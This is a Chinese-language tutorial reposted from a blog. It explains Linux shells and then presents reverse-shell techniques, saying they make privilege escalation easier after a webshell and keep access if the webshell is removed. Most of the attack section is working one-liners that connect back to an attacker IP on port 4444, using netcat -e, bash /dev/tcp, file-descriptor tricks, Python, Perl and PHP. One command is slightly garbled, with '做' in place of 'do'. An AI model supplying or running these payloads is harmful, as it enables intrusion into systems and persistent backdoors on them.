ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

反弹shell

2022-01-01 16:34:14  阅读:161  来源: 互联网

标签:bin Shell sh shell Linux 反弹 bash


Linux下反弹Shell

shell究竟是什么

Shell 教程

Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。

Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。

Ken Thompson 的 sh 是第一种 Unix Shell,Windows Explorer 是一个典型的图形界面 Shell。

Shell 脚本

Shell 脚本(shell script),是一种为 shell 编写的脚本程序。

业界所说的 shell 通常都是指 shell 脚本,但读者朋友要知道,shell 和 shell script 是两个不同的概念。

由于习惯的原因,简洁起见,本文出现的 “shell编程” 都是指 shell 脚本编程,不是指开发 shell 自身。

Shell 环境

Shell 编程跟 JavaScript、php 编程一样,只要有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以了。

Linux 的 Shell 种类众多,常见的有:

Bourne Shell(/usr/bin/sh或/bin/sh)
Bourne Again Shell(/bin/bash)
C Shell(/usr/bin/csh)
K Shell(/usr/bin/ksh)
Shell for Root(/sbin/sh)
……
本教程关注的是 Bash,也就是 Bourne Again Shell,由于易用和免费,Bash 在日常工作中被广泛使用。同时,Bash 也是大多数Linux 系统默认的 Shell。

bash和sh有什么区别

sh(Bourne Shell)是一个早期的重要shell,1978年由史蒂夫·伯恩编写,并同Version 7 Unix一起发布。

bash(Bourne-Again Shell)是一个为GNU计划编写的Unix shell。1987年由布莱恩·福克斯创造。主要目标是与POSIX标准保持一致,同时兼顾对sh的兼容,是各种Linux发行版标准配置的Shell,在Linux系统上/bin/sh往往是指向/bin/bash的符号链接。

在一般情况下,人们并不区分 Bourne Shell 和 Bourne Again Shell,所以,像 #!/bin/sh,它同样也可以改为 #!/bin/bash。

#! 告诉系统其后路径所指定的程序即是解释此脚本文件的 Shell 程序。

为什么需要反弹

反弹指的是目标机器发送请求链接我们的服务器
webshel​​l下执行命令不交互,为了方便提权或其他操作必须要反弹shell。
反弹shell带来新增一个后门,当webshel​​l被发现删除后权限不会丢失。

Linux反弹shell

NC简介

NC(全名NetCat),在网络界有"瑞士军刀"的美誉。nc是netcat的简写,可实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口。
语法
nc [-hlnruz][-g<网关…>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v…][-w<超时秒数>][主机名称][通信端口…]
安装:yum install nc -y(-y指的yes)
nc参数
-l 监听,-v 输出交互或出错信息,-p 端口

Linux反弹shell

攻击机:nc -lvp 4444
目标机:nc 192.168.4.49 4444 -e /bin/bash
方法1:
攻击机: nc -lvp 4444
目标机:bash -i >& /dev/tcp/192.168.4.49/4444 0>&1
在这里插入图片描述
方法2:exec 5<>/dev/tcp/193.168.4.49/4444;cat <&5 | while read line;做 $line 2>&5 >&5; done
方法3:0<&196;exec 196<>/dev/tcp/193.168.4.49/4444; sh <&196 >&196 2>&196

脚本语言反弹shell

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("193.168.4.49",4444));os.dup2(s.fileno() ,0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

perl

perl -e 'use Socket;$i="193.168.4.49";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton( $i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");} ;'

php

php -r '$sock=fsockopen("193.168.4.49",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

bash -h可进入bash exit退出两次

标签:bin,Shell,sh,shell,Linux,反弹,bash
来源: https://blog.csdn.net/weixin_51830687/article/details/122268085

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有